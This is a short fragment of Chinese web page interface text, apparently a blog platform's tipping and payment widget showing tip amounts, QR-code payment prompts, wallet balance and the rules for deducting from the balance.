¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值